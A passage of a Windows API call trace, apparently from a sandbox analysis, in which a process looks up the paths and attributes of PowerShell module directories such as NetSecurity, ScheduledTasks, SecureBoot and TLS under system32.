ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7d5c2, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0085.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.007] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0085.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.007] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d3e2ea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0085.007] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0085.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.007] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbbc19, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2081182e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.008] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0085.008] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0085.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.008] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbc877, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0085.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.009] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e300dc, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0085.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.009] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e30eea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0085.009] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0085.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.010] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e319e4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.010] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0085.010] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0085.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.010] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e92e4b, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0085.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.011] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e93bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x208aa1cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0085.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.011] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e950c4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0085.011] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0085.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.011] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f64ff6, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.012] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0085.012] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0085.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.012] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f65404, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.012] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0085.012] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0085.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.013] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb8b03, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.013] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0085.013] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0085.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.013] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb91fe, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.013] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0085.014] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0085.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.014] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb9d09, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.014] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0085.014] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0085.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.014] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fba32e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0085.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.015] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbaba9, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0085.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.015] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbbc28, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0085.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0085.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.015] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1fbcd58, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.016] GetFullPathNameW (in: 